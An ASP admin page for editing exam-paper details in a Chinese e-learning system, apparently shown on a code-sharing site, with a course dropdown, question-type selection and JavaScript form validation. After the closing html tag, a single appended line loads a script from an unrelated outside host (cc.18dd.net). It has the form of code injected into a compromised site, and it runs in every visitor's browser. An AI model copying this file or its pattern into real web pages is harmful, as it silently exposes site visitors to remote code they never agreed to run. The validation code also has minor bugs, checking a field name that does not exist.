📄 paperedit.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/ELesson.asp"-->
<!--#include file="../class/EType.asp"-->
<html>
<head>
<title>编辑试卷信息</title>
<link href=../style.css rel=STYLESHEET type=text/css>
</head>
<script language="javascript">
function FieldChk()
{
if (document.myform.title.value=="")
{
alert("请输入试卷名称!");
document.myform.title.onfocus();
return false;
}
if (document.myform.lid.value==0)
{
alert("请选择课程名称!");
document.myform.lid.onfocus();
return false;
}
//判断是否选择了类型及对应的个数
var s = false; //用来记录是否存在被选中的复选框
var typeid, n=0,tvalue;
var strid,strurl,strv;
var nn = self.document.all.item("type"); //返回复选框type的数量
for (j=0; j<nn.length; j++) {
if (self.document.all.item("type",j).checked) {
n = n + 1;
s = true;
typeid = self.document.all.item("type",j).id+""; //转换为字符串
tvalue = self.document.all.item("count",j).value+""; //转换为字符串
//生成要试题类型编号的列表
if(n==1) {
strid = typeid;
strv = tvalue;
}
else {
strid = strid + "," + typeid;
strv = strv + "," + tvalue;
}
}
}
strurl = "PaperSave.asp?tid=" + strid + "&tv=" + strv;
if(!s) {
alert("请选择要试题类型!");
return false;
}
else{
myform.action = strurl;
myform.submit();}
}
</script>
<body>
<%
Set ls = New ELesson
Set tp = New EType
%>
<form name="myform" method="post">
<p align="center"><font size=3 color=red><b>试卷信息</b></font></p>
<br>
<table border="1" width="100%" cellspacing="1" align="center">
<tr>
<td align="center">试卷名称</td>
<td><input type="text" name="txtname" size="20"></td>
</tr>
<tr>
<td width="40%" align="center">课程名称</td>
<td width="60%"><select name=lid>
<option value=0>--请选择课程名称--</option>
<%ls.GetLessonList()
DO While Not ls.rs.EOF
If ls.rs("LId")=CInt(lid) Then%>
<option selected value=<%=ls.rs("LId")%>><%=ls.rs("LName")%></option>
<%Else%>
<option value=<%=ls.rs("LId")%>><%=ls.rs("LName")%></option>
<%End If
ls.rs.MoveNext
Loop
%></select></td>
</tr>
<tr><td align="center" colspan=2>试题类型</td></tr>
<%n = 0
tp.GetTypeList()
DO While Not tp.rs.EOF
n = n + 1
cname = "count" & CStr(n)
%>
<tr><td align="center"><input type="checkbox" name="type" id="<%=tp.rs("TId")%>"><%=tp.rs("TName")%></td>
<td><input type="text" id="<%=tp.rs("TId")%>" name="count" size="20" value="5">个</td></tr>
<%tp.rs.MoveNext
Loop
%>
</table>
<p align=center>
<input type="button" name="ok" value=" 确 定 " onclick="return FieldChk()"></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -